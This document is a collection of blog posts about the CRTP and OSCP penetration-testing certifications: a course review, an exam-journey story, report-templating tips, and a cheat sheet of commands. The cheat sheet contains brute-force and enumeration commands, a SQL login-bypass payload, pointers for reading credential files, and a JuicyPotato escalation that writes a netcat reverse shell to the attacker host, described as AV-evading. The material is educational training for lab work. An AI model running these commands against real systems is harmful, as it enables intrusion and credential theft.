• Domain trust abuse, inter- and intra-forest
• Basic MSSQL-based lateral movement techniques
• Basic Antivirus, AMSI, and AppLocker evasion
• Persistence attacks, such as DCShadow, Skeleton Key, DSRM admin abuse, etc.

The Labs

Where this course shines, in my opinion, is the lab environment. Overall, the lab environment of this course is nothing advanced, but it’s the most stable and accessible lab environment I’ve seen so far. AlteredSecurity provides VPN access as well as online RDP access over Guacamole. I’m usually not a big fan of online access, but in this instance it works really well and it makes the course that much more accessible.

The environment itself contains approximately 10 machines, spread over two forests and various child forests. It is explicitly not a challenge lab, rather AlteredSecurity describes it as a “practice lab”. This checks out - if you just rush through the labs it will maybe take you a couple of hours to become Enterprise Admin. If you however use them as they are designed and take multiple approaches to practicing a variety of techniques, they will net you a lot more value.

If you are looking for a challenge lab to test your skills without as much guidance, maybe the HackTheBox Pro Labs or the CRTE course are more for you!

During the course, mainly PowerShell-based tools are used for enumeration and exploitation of AD vulnerabilities (this makes sense, since the instructor is the author of Nishang). However, it is expressed multiple times that you are not bound to the tools discussed in the course - and I, too, would encourage you to use your lab time to practice a variety of tools, techniques, and even C2 frameworks. The lab is not internet-connected, but through the VPN endpoint the hosts can reach your machine (and as such, hosted files).

Personally, I ran through the learning objectives using the recommended, PowerShell-based, tools. I ran through the labs a second time using Cobalt Strike and .NET-based tools, which confronted me with a whole range of new challenges and learnings. Due to the accessibility of the labs, it provides a great environment to test new tools and techniques as you discover them.

The Exam

The CRTP certification exam is not one to underestimate. It consists of five target machines, spread over multiple domains. This is not counting your student machine, on which you start with a low-privileged foothold (similar to the labs). The goal is to get command execution (not necessarily privileged) on all of the machines. Similar to OSCP, you get 24 hours to complete the practical part of the exam. After that, you get another 48 hours to complete and submit your report.

I experienced the exam to be in line with the course material in terms of required knowledge. That does not mean, however, that you will be able to complete the exam with just the tools and commands from the course! The exam will contain some interesting variants of covered techniques, and some steps that are quite well-hidden and require careful enumeration. That said, the course itself provides a good foundation for the exam, and if you ran through all the learning objectives and -more importantly- understand the covered concepts, you will be more than likely good to go.

In total, the exam took me 7 hours to complete. Machines #2 and #3 in my version of the exam took me the most time due to some tooling issues and very extensive required enumeration, respectively. Otherwise, the path to exploitation was pretty clear, and exploiting identified misconfigurations is fairly straightforward for the most part. As such, I think the 24 hours should be enough to compromise the labs if you spent enough time preparing. Additionally, I read online that it is not necessarily required to compromise all five machines, but I wouldn’t bet on this as AlteredSecurity is not very transparent on the passing requirements!

The exam requires a report, for which I reflected my reporting strategy for OSCP. I prepared the overall report template beforehand (based on my PWK reporting templates), and used a wireframe Markdown template to keep notes as I went. After completing the exam, I finalized my notes, merged them into the master document, converted it to Word format using Pandoc, and spend about 30 minutes styling my report (I’m a perfectionist, I know). Overall, the full exam cost me 10 hours, including reporting and some breaks.

I can obviously not include my report as an example, but the Table of Contents looked as follows.

CRTP Preparation Tips

So, you’ve decided to take the plunge and register for CRTP? Cool! Please find below some of my tips that will help you prepare for, and hopefully nail, the CRTP certification (and beyond). As always, don’t hesitate to reach out on Twitter if you have some unanswered questions or concerns. Always happy to help!

• Choose the right timing: Even though this course is specifically for beginners, it may not be the most suitable course to start your hacking career with (depending on your desired career path). General exploitation and hacking handicraft are not covered as much as they are with e.g. OSCP, as the course focuses solely on AD exploitation (with a very brief primer on local privilege escalation for Windows). However, if you are a beginning red teamer looking to get a better track record with AD, this course is likely a step in the right direction. Obviously, there’s no right order in which to take courses, just think about your current skillset and desired development path, then decide if this course fits the bill.
• Enrich the theory: Even though the videos and course guide do a good job of walking you through the various subjects, I can always recommend doing your own research in addition to the provided videos. Reading e.g. blogs on tools and techniques that you use will greatly help improve your insight and help actualize your skills even more.
• Get comfortable in the labs: Depending on the amount of lab time you have, there’s probably no rush. The CRTP course is doable in about one month, but that does not mean you should limit your lab time to 30 days. I would recommend getting more time, especially if you want to research techniques and play around in the labs on your own to try out your new hacking toys in a safe environment.
• Create a cheat sheet: You will find yourself using a lot of similar commands during the course and exam. As such, it’s useful to create a list of your favorite and most-used commands, so you can simply copy and paste without looking up the syntax every time. Furthermore, a structured cheat sheet will help you ensure that you don’t overlook anything in your enumeration, something that is very important for CRTP.
• Prepare your report beforehand: Even though CRTP gives you 48 hours to come up with a report, creating a report template will help you mentally prepare for the exam as well as structure your as-you-go notes in advance. Doing this will prevent you having to do a lot of writing and note adaptation after you finished your exam.

So… Where’s that cheat sheet?

As you may have guessed based on the above, I compiled a cheat sheet and command reference based on the theory discussed during CRTP. I enriched this with some commands I personally use a lot for AD enumeration and exploitation.

I will publish this cheat sheet on this blog, but since I’m set to do CRTE (the Red Teaming Labs offered by AlteredSecurity) soon, I will hold off publishing my cheat sheet until after this so that I can aggregate and finalize the listed commands and techniques. If you’re hungry for cheat sheets in the meantime, you can find my OSCP cheat sheet here. Watch this space for more soon!

Preamble

I don’t have a very technical background. I did a Master’s in Information Science before starting as a Cyber Security Consultant. In my current role, I deal with various cyber topics on an organizational level - usually not from a very technical perspective.

As such, when a couple of colleagues were planning to enroll in PWK and go for the OSCP certification together, my plan was initially to “just tag along”. That turned out a bit differently! In the week of writing this blog post, I was informed that I passed the PWK exam and have obtained the OSCP certification. In this post, I’ll outline my journey from script kiddie to certified script kiddie!

Act I - Humble Beginnings

My investment in hacking started with an “OSCP preparation day”, organized by said colleagues late last year. During this day, pretty much all we did was get together and own some Hack The Box machines that are similar to OSCP. I had some experience with hacking from earlier courses and one or two HTB machines, but this practice day really sparked my interest in improving my 1337 h4ck1ng sk1llz.

From that point, I was motivated to start practicing my skills through HTB. I started with some active machines, but since the learning curve for these is usually quite steep I quickly purchased a VIP subscription. My main guide from that point was TJ_Null’s “OSCP-like” machines list. Of course, I would also have a look at newly released machines now and then. A man needs that HTB rank!

If you’re interested, you can find my HTB machine progression here. My favorite machine from that time is probably Forest. It took me quite some time and effort to complete back then, but really did introduce me to Windows and Active Directory hacking concepts.

At this point, I was still convinced I would probably never make OSCP and was just tagging along for the ride. However, hacking HTB machines really felt like a hobby rather than work, and my evening and weekend hours on learning new hacking tricks really energized me. Slowly but surely, I realized I was actually getting kind of good at this!

Act II - Getting Real

Over time, I was getting more and more dedicated to practice with HTB in my evenings and weekends. In the three months following up the initial practice day, I had completed approximately 50 HTB machines, ranging from easy to hard difficulty. Through HTB, I can now say I have learned many hacking techniques and tricks that would later prove invaluable. Even more so, I had gotten comfortable with the underlying concepts and technologies that were so foreign to me when I started.

By the end of January (about three months in), some colleagues had convinced me to take the plunge and just go for it. Since my employer agreed to pay for the costs of PWK (a very big plus), I decided to enroll in PWK with a mid-February start date. Since I enrolled just before the announcement of the 2020 version of the PWK course, Offensive Security got me an upgrade to that version, which was awesome!

Act III - Working Through the Labs

By the time my PWK labs started, I was super hyped to jump in. Given my background, my game plan was to start by going through the course materials first, finishing the PDF and exercises before jumping into the labs. I did however run some recon and pop an easy machine or two at the start of my time, just to get a feel for the labs.

Forcing myself to finish the PDF before jumping into the labs helped me to keep motivated in going through the theory, which can definitely feel like a long road. There’s a lot of content in the new PDF - it’s 853 pages long versus 380 pages in the old PWK. Not all chapters are equally engaging, so this part will require some dedication and focus from your side. To find a balance between soaking up the theory and applying it in practice, I would do exercises as they popped up in the PDF (at the end of every chapter).

Completing the PDF and exercises took me about two weeks altogether. I decided to leave the videos for what they were, since I felt like the PDF did a better job explaining the content matter. Additionally, I just wanted to jump into the labs at this point!

Note that you’re not required to complete the course exercises, but if you hand them in together with a lab report you can earn 5 bonus points for your exam. I chose to do this, not necessarily because of the bonus points, but rather because it’s good for practice anyway!

As circumstance would have it, the Corona crisis kicked in a couple of weeks into my lab time. Since I mostly had to fit in PWK next to my 40-hour workweek, this actually proved to be a silver lining to the whole situation. All social and work events were pretty much cancelled, which gave me additional time to practice in my evenings and weekends.

I didn’t really have a specific strategy for tackling the labs. I would run recon on the entire range of the initial subnet, picking off machines that looked like ‘quick wins’ (interesting web applications or file shares, known vulnerable or legacy service versions, etc.) first. Eventually, I ran into hosts that had access to new subnets, giving me access to those as well. Unfortunately I can’t disclose the specifics of machines or subnets for obvious reasons, but tackling all the boxes was a fun ride that taught me a lot of new skills!

Towards the end of the labs (about 10 to 5 machines left) I would get gradually more stuck. At this point I would turn to the forums for help. Though I would generally recommend staying away from the forums as much as possible, some posts on the forums do help in finding the right path or identifying the right technique, without spoiling too much. As such, the forums may be a nice ’last resort’ when you really get stuck on a machine!

The below very scientific graph™ shows my lab completion over time, from the first to the last machine (there are 67 in total in the 2020 labs). As shown, it took me a bit under 2 months (including approximately 2 weeks of PDF/exercise time) to complete 100% of the labs. Note that even though I only had my evenings, my weekends, and occasionally a full day to spare, that is not to say I didn’t spend much time on rooting the entire lab environment. If I had to put an hour estimate on it, I would say I probably spent around 175 hours in the labs in total.

Overall, the labs were definitely the coolest part of the course. Though I did complete 100% of the labs, that is in no way necessary for passing the exam. If you are short on time I would definitely recommend focusing on really understanding the course materials over completing every machine in the labs. That said, if you manage to complete 100% of the labs within your course time chances are you are well prepared for the exam!

Act IV - The Final Countdown

Since I had a week or two between completing the labs and my scheduled exam date, I decided to practice some more. At a slightly slower pace, I went on to complete the HTB machines I had left from TJ_Null’s list. As they were mostly machines labeled “harder than OSCP, but good practice”, some of them were a lot tougher than the labs. I do agree most of them are great practice, though!

I also spent some time before the exam preparing my lab report, and in doing so establishing a process for my exam report as well. Since I had already documented my machines in accordance with a predefined template (more details in this blog post), most effort was spent preparing the overall report templates and styling process. As mentioned in my earlier blog, I shared those on GitHub - hopefully they will be useful for someone else down the road!

In the final days leading up to the exam, I took some days off and started working on a tighter schedule. Three days in advance, I scheduled a day of Buffer Overflow practice. Since this part of the exam was supposed to be fairly straightforward, I wanted to really get comfortable with the required steps for developing a basic BoF exploit. To practice, I used the executables discussed during the course and from the labs (there’s several binaries), as well as the TRUN overflow for VulnServer and Brainpan from Vulnhub. After running through the process a couple of times, I was pretty comfortable with all the steps and confident in the BoF part of the exam.

Two days in advance, I had planned to do a “practice exam”. There’s a collection of OSCP-like VulnHub machines compiled into a “practice exam” here, which did sound interesting. Unfortunately, I had some technical issues preventing me from starting up one of the machines. In the end, I ended up rooting the four working machines, which gave me some confidence for the exam even though it didn’t really provide an “exam-like” experience.

The day before the exam I had scheduled… nothing. I thought it would be good to clear my head and be away from the computer screen for a day, which is what I did! I took a long walk and hit the hay early. A long day would be ahead.

Act V - Twenty-four Hours

Finally, the day of my exam had arrived. I was nervous, but looking forward to it at the same time. I had decided to start with the BoF right away to -hopefully- net a quarter of the points in a short time and lose some of the nerves. I did, and it played out perfectly. It took me about 40 minutes to complete and document the Buffer Overflow, and that’s including some technical difficulties with the target system. 25 points were in!

Afterwards, I decided to channel my adrenaline rush on the 25 point machine. For some reason, it was a really easy exploit path. I was probably lucky in dodging some rabbit holes, which is what the 25-pointer is usually notorious for. Again, the exploit didn’t take me that much effort and 1 hour and 15 minutes into my exam, I had rooted the 25 pointer. I really couldn’t believe I was already 50 points in, and felt almost invincible at this point!

After that, I started looking at the remaining machines, but I got stuck. For several hours, I couldn’t find any entry vector into the remaining three machines. I started stressing out a bit, even though I still had plenty of time on the clock. After some time, I found the entry vector to one of the 20-pointers. The exploit from that point wasn’t too difficult, and after 6 hours and 10 minutes, I had reached the passing grade of 70 points.

It felt like a weight fell of my shoulders. My practice had paid off, and I could spend the rest of my exam time trying to get 100 points. This stress release helped clear my head, and before long I had found the entry point to the other 20-pointer. 8 hours and 21 minutes in, I had 90 points under my belt.

I was almost euphoric, and convinced I would easily get the 10-pointer after seeing the rest of the boxes. However, for some reason the last box was freaking impossible. I ended up running into dead ends for about 8 hours, until I decided the 10 points probably weren’t worth it. At midnight, I tapped out to hit the hay.

Again, it’s too bad I can’t share any specifics regarding the machines that I faced. As mentioned however, I do think that if you can compromise the majority of lab machines with confidence, and/or have done most OSCP-like HTB machines with little to no help, you should be able to get 70 points without any major issues. In the end, the exam is mostly about showing that you understand the various methods and are able to adapt, more so than it is about having kick-ass technical skills.

I handed in my exam and lab reports the afternoon after my exam, and OffSec was pretty quick in relieving me of all doubt. Three workdays after my exam, I received the message that I had worked so many hours towards getting. I did it!

Takeaways

I hope the above story was at least slightly interesting to read, and that perhaps you can take away some learnings for your own OSCP journey. Perhaps it will even inspire someone to take the plunge and enroll in PWK!

Since I learned a lot from going through the “zero to OSCP” journey myself, I wanted to note down some of the points I encountered during my last couple of months.

• Motivation and dedication are key. You will have to spend a lot of time on OSCP prep, so you better make sure you actually enjoy the process of doing so! If you’re not dedicated or motivated to get through the materials, you’re gonna have a bad time.
• There is no single ‘golden bullet’ to OSCP preparations. Many people will offer varying pieces of advice - find what works for you.
• There are plenty of sites out there that you can use to practice at little to no cost (Hack The Box, Vulnhub, TryHackMe, …). If you don’t have a technical background, practicing for a couple of months will definitely help you nail OSCP. These platforms are also great if you currently don’t have the means to pay for PWK.
• Restrain yourself from looking at hints right away when you get stuck. The pain of wasting several hours on a box doing something stupid will keep you from ever doing it again.
• OSCP is not about having great technical skills. It’s about the foundational mindset you need to become a good hacker. This is especially true for the certification exam.
• Nailing all the lab machines is cool to do, but not at all required for passing OSCP. The same goes for handing in the lab report and exercises for bonus points (see below).
• Write down everything you do in a note-keeping app of your choosing, and make sure it’s searchable. It will be helpful later (this doesn’t just apply to OSCP, it also applies to keeping notes and writeups in general).

OSCP FAQ

Since I see a lot of posts on Reddit and Twitter with recurrent questions regarding PWK / OSCP, I figured I’d close this post with a “PWK FAQ”. Note that the given answers are my personal take, and there are likely to be different and equally valid answers to your question out there. If you have a question that’s missing from the list, don’t hesitate to let me know on Twitter!

I want to go for OSCP but I’m unsure because of reason X. Should I do it?

Yes.

How much lab time should I buy?

It depends on your current skill level, your game plan, and the time you can spend. Generally, I would say two to three months, depending on your experience level. If you’re a seasoned pentester and/or have 8+ hours a day to spend on your PWK studies, one month might be enough.

My game plan for OSCP is X. Is that okay?

Generally, the answer will be yes. As long as you have thought about your approach, the time you are able to spend, and how it’ll fit into your personal life the coming months, you will probably be fine.

I don’t have a game plan. How should I approach becoming OSCP?

If you don’t have a game plan at all, consider the following approach. I personally feel that this approach should generally work for most people.

• First, plan 1 to 3 months of HTB practice, completing retired boxes from TJ_Null’s “OSCP-like” machines list. Take to the HTB forums or e.g. Ippsec’s YouTube channel if you hit a wall.
• Once you’re comfortable rooting easy-medium boxes, enroll in PWK with 3 months of lab time. This will give you plenty of time to go through the PDF and exercises, as well as spend enough time in the labs.
• Plan the exam if you’re ready during or after your lab time, practice some more if you’re not (there’s no rush!).

What’s the best way to spend your lab time?

Though it may be tempting to jump right into the lab when your course time starts, I do think you will get the most value out of your lab machines if you go through the PWK PDF and exercises first. It takes some time, but will help you really build a foundation and understanding of the topics that are addressed in the lab. That being said, everyone has their own style and preferences - as such there is likely no “best” way to spend your lab time.

Is it worth doing that reporting and all those exercises for 5 bonus points?

Considering the effort required for completing the exercises (especially for PWK 2020) and the lab report, the answer to the question is probably no. That said, the bonus points are not the reason you should go through the exercises and lab reporting - you should definitely do that for yourself. I personally took a lot out of doing the exercises, but skipping (some of) them is a perfectly valid decision as well.

Will the course materials teach me everything I need for the labs/exam?

No. The course materials will give you a solid foundation, and help you establish a methodology for learning new stuff (in other words: Google). That said, the PWK PDF likely won’t contain the solution for your exam machines - it’s all up to you to practice, get comfortable with the provided methods, and try harder!

When will I be ready for the exam?

Whenever you feel ready! I know it’s a cliché, but the PWK exam is more about having confidence in your skills and keeping your head cool than it is about deep-technical skills. Don’t let the fact that you didn’t complete 100% of the labs or are still unsure about that one machine stop you.

I have the old PWK version, should I upgrade to the 2020 version?

If you already progressed through the ‘old’ labs, I wouldn’t bother. If you’re at the start of your PWK course and still need to go through the PDF, do it. It provides more background into existing topics, as well as a lot of new content (e.g. Active Directory exploitation).

Luckily, reporting doesn’t have to be a pain all the time. To the contrary, having a good process for documenting your findings in a structured way can be a big help for yourself as well, and it makes generating the final report that much easier! In this post, I will be sharing some of my personal tips and tricks for documentation and generating quality reports.

To help you get started, I also published my personal Markdown templates (for individual machines, the lab report, and the exam report), as well as my Pandoc style on Github. Feel free to create a pull request if you have any additions or improvements!

Start from the top

Documenting your findings should not be something you wait with until you actually have to deliver your report. If you know what it is you need to document right from the start, you avoid having to re-exploit boxes just to run that one command or get that screenshot. As such, it helps to invest some time at the start of your PWK journey to understand what it is exactly that Offsec wants to see in your final report - especially if you aim to also deliver your lab report for bonus points. The OSCP Exam Guide is a good place to start for that.

Once you understand what you need to document, I found that it helps greatly to maintain a template for your findings for every machine in the labs (mine is here). A template will help by providing structure in your notes, and it will also constantly remind you of the data you should collect on compromised systems.

Having your template in an easy-to-use format (such as Markdown) helps in keeping reporting simple when you are executing your tests, while preserving the (logical) structure of your content. You can worry about layout and visuals later!

What also helped me for reporting specifically was to write my machine notes in a way that they could simply be copy-pasted into a final report. This way, I could simply just compile my machine notes and leave out the irrelevant bits to compile my report - saving me the headache of having to write out my exploitation path for 10+ machines post-hoc.

Compiling the report

Once you made it to the end of your lab time and/or you completed the OSCP certification exam (👏), the time has come to compile your notes into a fully fledged report. Offensive Security offers their own example report, and they even have a bunch of templates. However, they do not restrict you to using these templates, so you are free to make of the report what you wish.

Since I did everything so far in Markdown, I decided to stick with that until the end. As such, I created my own Lab Report template and Exam Report template in Markdown, based on the examples provided by Offensive Security. Since the structure and contents provided in the official examples were… less than ideal, I also made some changes on that front. Of course you can change the preamble of your report as you wish, as long as you check the right boxes for PWK.

Once you have the foundation for your report, all that is left from a content perspective is to integrate it with your machine notes. This could be as simple as copy-pasting your machine write-ups in a logical order, or it may require some revisions to your contents. Either is fine!

Since I had the notes of all 67 compromised lab machines in a report-ready format, I decided to be that one smartass that OffSec (probably) hates and include them all in my lab report 🤓. It turned out to be 485 pages, heh.

Making it pretty

Great, so at this point you have a big blob of text with some headings and references to screenshots here and there. How to actually generate a report from that? Good question!

This is where Pandoc comes in. Pandoc is a free tool that allows for conversion between most text-based document formats - including Markdown, Word (docx), and PDF. There have been some efforts (e.g. here) to completely automate the conversion from Markdown to a readable PDF report, but I personally wanted to build in an in-between stage (i.e. Word) which allowed me to tweak the document exactly as desired.

To get Pandoc to generate a proper Word document, you need a document defining the base styles. If you will only generate one document it doesn’t matter all that much since you could tweak the final document, but for PWK purposes it helps to define a solid base style (I shared mine here). In Pandoc you can also define a style for syntax highlighting, which is just perfect.

Of course, the benefit of generating a Word file in between your Markdown and the final PDF is flexibility. I used this flexibility to for example add a sleek-looking title page, generate a (proper) table of contents, add page numbers, and more. I’m about 95% sure you can also do these things with Pandoc, but I personally like the flexibility of having full control over a document before I select “export to PDF” and send it off.

Specifics on my approach on report generation (like Pandoc commands) are available in the repo readme.

The final result

If you have been reading this up until this point (yay) you are probably wondering what this process will get you. Well, I got you! I’ve made an example report available here which is pretty much a carbon copy of my PWK lab report. Obviously, I cannot share any specific on the PWK labs or exam, so I replaced the actual contents with some VulnHub writeups to give you a better idea. Don’t read the details if you want to avoid spoilers for Brainpan, Kioptrix2014, Zico, or LazyAdmin!

If you used any of these templates or techniques for your own reports I’m super curious to hear how you like it. Shoot me a message over on Twitter to let me know what you think!

Since my OSCP certification exam is coming up, I decided to do a writeup of the commands and techniques I have most frequently used in the PWK labs and in similar machines. I aimed for it to be a basic command reference, but in writing it it has grown out to be a bit more than that!

That being said - it is far from an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch on Twitter!

Reconnaissance

Full TCP nmap

Enumerate ALL ports and services to identify low hanging fruit, and get the full list of services that you need to look into during enumeration.

nmap -sV -sC -p- -o nmap.out -vvv $RHOST

UDP nmap

It’s always good to check the top UDP ports. OffSec seems to like the “hidden UDP gems” SNMP and TFTP.

nmap -sU --top-ports 20 -o nmap-udp.out -vvv $RHOST

Enumeration

This is an explicitly non-exhaustive list of things to try on different services that are identified. In my experience, these are some of the most-used services for PWK, though. Hit me up if you feel anything is missing from this list!

Rule #1: 👏ENUMERATE👏EVERYTHING👏

FTP (21/tcp)

Check for anonymous login, try credentials if you have them. Sometimes the FTP server is vulnerable itself - refer to ‘Searchsploit’.

SSH (22/tcp)

Try credentials if you have them. Usually not too exploitable, unless you encounter a really old version. You may encounter scenarios where the private key is predictable or you have a public key with weak crypto.

In some instances, SSH may be an entry point using weak credentials. If you know several possible usernames on the system, try those out with weak credentials, such as the username as the password or common passwords.

hydra -l $USERNAME -P /usr/share/wordlists/wfuzz/others/common_pass.txt ssh://$RHOST

Bruteforcing live services beyond short password lists or straightforward guesses (blank password, username as password, etc.) is not necessary and never advisable. If you found a hash, see the section on hashes and cracking.

SMTP (25/tcp)

You may be able to enumerate usernames through SMTP.

nc 10.11.1.217 25
[...]
VRFY root
252 2.0.0 root
VRFY idontexist
550 5.1.1 <idontexist>: Recipient address rejected: User unknown in local recipient table

DNS (53/tcp)

In many cases, you can extract some juicy information from a DNS server. Always attempt to do a zone transfer if you know the target domain.

dig axfr @$RHOST DOMAIN.COM
dnsrecon -d DOMAIN.COM

RPC / NFS (111/tcp)

RPC is there for a reason, especially on Linux-based machines it may point to NFS.

Enumerate RPC first:

nmap -sV -p 111 --script=rpcinfo $RHOST

If you find NFS-related services, enumerate those.

nmap -p 111 --script nfs* $RHOST

If you find NFS shares, mount them and see if you can read/write files or change your permissions by adding a new user with a certain UID. If you can’t seem to do anything, remember the fact that it is there for later.

mount -t nfs -o vers=3 $RHOST:/SHARENAME /mnt

groupadd --gid 1337 pwn
useradd --uid 1337 -g pwn pwn

S(a)MB(a) (139/tcp and 445/tcp)

Check for ’null sessions’ (anonymous login). SMB may be exploitable by e.g. EternalBlue, so carefully check version and OS numbers. For any Windows-based system that exposes port 139 and/or 445, it is worth running enum4linux to perhaps enumerate users on the machine or gain other information.

If you are authenticated and have a writable share, you may be able to traverse to the root directory if it is Samba (linux).

SNMP (161/udp)

For any UDP port, it’s worth verifying if the port is actually open by also running a service and script scan. This increases the odds that nmap is able to verify the service.

sudo nmap -sU -sV -sC --open -p 161 $RHOST

If SNMP is running, try extracting information using common community strings. Various tools can help in dumping the data in a readable format.

snmp-check $RHOST
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $RHOST
snmpwalk -v1 -c public $RHOST

HTTP(S) (80/tcp, 443/tcp, 8000/tcp, 8080/tcp, 8443/tcp, …)

Any ports with a webserver require close enumeration and a high degree of manual inspection. Below are a couple of helpful tools and commands for initial enumeration, but make sure to go through the webpages yourself and review the functionality, parameters in web requests, etc. Use tools such as BurpSuite to play with interesting requests.

It is worth noting that there are several web services and systems that you will be encountering often. Familiarize yourself with systems such as Tomcat or XAMPP, as you will encounter situations where you will have to identify these systems and know to a basic extent how they work.

Gobuster

Extensions

Adapt the extensions (-x) to the web technology and platform (e.g. .html,.php for Linux, .html,.asp,.aspx for Windows). If you have a hint or hunch that other files may be stored on the webserver or in that specific subdirectory, include those. Suggestions are .txt,.php.bak,.old etcetera.

Wordlist

Adapt the wordlist to the specific platform, if applicable. Don’t forget about specialized wordlists (e.g. for Wordpress or Sharepoint).

gobuster dir -u $RHOST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html -o gobuster.out

Nikto

Always run Nikto to identify quick wins (hopefully), and gain more insight in the technology stack behind the webpage.

nikto -h $RHOST -o nikto-out.txt

SSLScan

May identify some interesting features from the SSL certificate or SSL-based vulnerabilities (Heartbleed) on SSL-enabled services.

sslscan $RHOST

Searchsploit

Search for every service / software version that you manage to identify. Try different combinations of the name and version number of the software. Sometimes I have better results just using Google or the exploit-db search function instead.

All-in-one

Don’t depend on it too much, but AutoRecon is an excellent tool that runs the most common reconnaissance and enumeration steps in one multithreaded process. Output is dumped to a subfolder per target, giving you a clear overview of possible attack vectors.

Exploitation

It’s quite difficult to summarize the steps required for exploitation throughout PWK, since so many different vectors may be involved. If you’ve done your enumeration well, chances are this phase simply entails downloading an exploit from Exploit-DB, modifying it, and running it to get a (low-privileged) shell. However, you may also have to jump several hurdles before you get to that point, or exploit systems manually altogether.

Below are some of of the things that came to mind at the time of writing. Again - if you have any additions please let me know!

Directory Traversal and (Local) File Inclusion

You’ll likely encounter these in web systems, but possible also as a known vulnerability in other systems such as FTP servers. There are several questions you should ask yourself when this happens.

What type of inclusion am I dealing with?

If you don’t yet know, identify whether you are dealing with a remote or local file inclusion (code gets executed, great!) or ‘simply’ a traversal vulnerability. In general, I’d say RFI > LFI > Traversal in terms of exploitability. The first two will likely allow you to execute arbitrary code, which should be enough to net you a shell in most instances (at least for PWK).

What can I read?

If you can ‘only’ read files, think about what it is you can read to gain a foothold on the machine, or at least progress in your exploitation. First, try and see if you happen to have privileged read access and can read for example /etc/shadow or C:\Users\Administrator\Desktop\Proof.txt. It’s a long shot, but it happens. On Windows, don’t forget about the SAM, SECURITY, and SYSTEM files and their backups. Those can sometimes get you straight to SYSTEM as well.

If you have limited read access (which will be the majority of times), think about the user context you have read access and juicy files that you can access as them (private SSH keys in user folders, database configuration files in web folders, etc.). Also think about the services you have enumerated on the box, which config files do they have that may be interesting (plaintext credentials, anyone)?

If all else fails, take to online cheat sheets like this one for inspiration and just blast ahead 🕵.️

SQL Injection

You will most definitely encounter SQL Injections during PWK. Injections are usually not too complex and should be exploitable manually - so try to avoid SQLMap wherever possible. Make sure you at least have a basic understanding of the SQL syntax that is involved and what is actually going on under the hood, it will make your life a whole lot simpler!

Injections range from simple login bypasses to UNION inclusion queries. They should usually be easily identifiable if you make a habit of fuzzing random symbols (mainly ') in every parameter you see. For (custom) login screens, always try admin:' OR '1'='1 and similar queries to see if you get logged in or at least get an unexpected response back.

Other Web-Based Exploits

You will encounter other web-based attacks in the PWK labs. Expect to encounter attacks that are common in the OWASP Top 10, such as XSS (especially in relation to client-side exploits) and Command Injection. In general, recognizing the attack points for these types of attacks and having a basic understanding of how they work should be enough to get started. In some cases you will have to get creative with some filter bypasses, but the payloads will never be very advanced.

Another attack that is prevalent with web systems in PWK is uploading (web)shells through write access on the webserver. This takes various forms in the labs, such as admin panels, SQL/command injection, WebDAV access (use cadaver!), or writable FTP/SMB shares which are served via the web server. In these instances, it’s a valuable skill to be able to effectively identify the web technology (PHP, ASP(X), etc.) and have a webshell at hand that you can upload (try Kali’s /usr/share/webshells directory).

Personally, I found it to be more effective to upload a basic webshell first and then use that to spawn a new reverse shell. In many cases, if you try to upload a php or asp reverse shell, it will break due to compatibility or encoding issues. This issue hasn’t occurred for me when using webshells.

Hashes and (Known) Credentials

As mentioned earlier, pure brute forcing is never the answer to anything for PWK. That being said, you will have to crack hashes and sometimes spray passwords at systems to gain a foothold.

Hashes Most hashes I encountered during my time in the PWK labs are unsalted (MD5 or (NT)LM) and are as such easy to look up using a tool like CrackStation. In some instances, you will have to use John the Ripper or Hashcat to crack some salted hashes. Note that these cases will usually be obvious: if you find hashes that use a very strong algorithm (e.g. $6$ SHA512-crypted hashes on Linux) cracking will likely not get you anywhere.

Bruteforcing

Though you won’t have to brute force logins in the traditional sense of the word, you will sometimes have to make educated guesses to gain access to a system. As mentioned in the enumeration section above, tools like Hydra or BurpSuite will help in this. Again, only go for the top ranking passwords in common wordlists and other common options such as username:username. If you don’t hit a password within 5 minutes, you’re looking in the wrong direction.

Password spraying

One of the fun -and frustrating- factors in the PWK labs is the inter-relation between machines. I would strongly recommend keeping an elaborate master-password list of all the passwords and Windows hashes you found, so that you can occasionally use those to see if passwords are re-used anywhere. Tools like Hydra, CrackMapExec, or Metasploit can be used to do this effectively.

Privilege Escalation

Privilege escalation is entirely different for Windows and Linux systems. In general, it pays to have an eye for detail and a large arsenal of tools that can help enumerate and exploit.

Again, don’t forget to 👏ENUMERATE👏EVERYTHING👏

Windows

I generally check my permissions (whoami /all) and the filesystem (tree /f /a from the C:\Users directory) for quick wins or interesting files (especially user home folder and/or web directories). If I don’t find anything, I then run a tool like winPEAS.exe (from here) to identify any vulnerabilities. Things to look for in enumeration results:

• Default credentials, try them to pivot to other users.
• Open ports, are there any services that are listening on 127.0.0.1 only? Look for exploits.
• Running software, what is non-default? Look for exploits.
• Unquoted service paths, do they exist? Could you write a malicious binary and restart affected services?
• Modifiable service binaries, do they exist? Do they run as SYSTEM or an admin user?

If nothing obvious comes out of WinPEAS, I usually run Invoke-AllChecks from PowerUp, which does similar checks but sometimes also catches additional vulnerabilities.

If all else fails I start looking for OS-level exploits, especially on older systems. Windows-Exploit-Suggester helps for this: you can run it from Kali and only need the output of SystemInfo. It also helps to sometimes google for privilege escalation vulnerabilities for the exact OS version - an interesting example I used once for PWK is ComaHawk (works on relatively recent Windows 10 systems).

Some other notable examples are discussed in the sections below.

JuicyPotato

Relevant if you have the SeImpersonatePrivilege and the OS version is older than Server 2019 or Windows 10. I’ve had the biggest successes by using a neutral binary such as nc.exe or nc64.exe from here. If you create a bat file with the command call, it should evade most AV and give you a privileged shell.

Grab a CLSID from here, it may take a couple of different attempts to get a working CLSID.

# On target system, after copying required binaries
echo C:\temp\nc64.exe -e cmd.exe $LHOST 443 > rev.bat
.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

Alternatives to the above are available. Play with tools like LovelyPotato as well, which automate the finding of the CLSID.

UAC Bypass

Relevant if you are a local administrator, but whoami /all returns that you are running in a “Medium integrity process”. The method of exploitation differs widely per OS version. Googling for automated UAC bypass exploits for a specific version, or using Windows-Exploit-Suggester or metasploit to ID possible UAC bypass vulnerabilities is likely to have success.

Local Admin to SYSTEM

Even though this is strictly not required for PWK or the OSCP certification exam, I always like to get a full SYSTEM shell. We can realize this with PsExec.exe (from here). You can use a Msfvenom executable instead of rev.bat, but the latter works better for AV evasion (see JuicyPotato).

.\PsExec.exe -i -s "c:\temp\rev.bat"

If you have a shell on a Windows system and a password for another user, PsExec can also be used to execute programs as the target user.

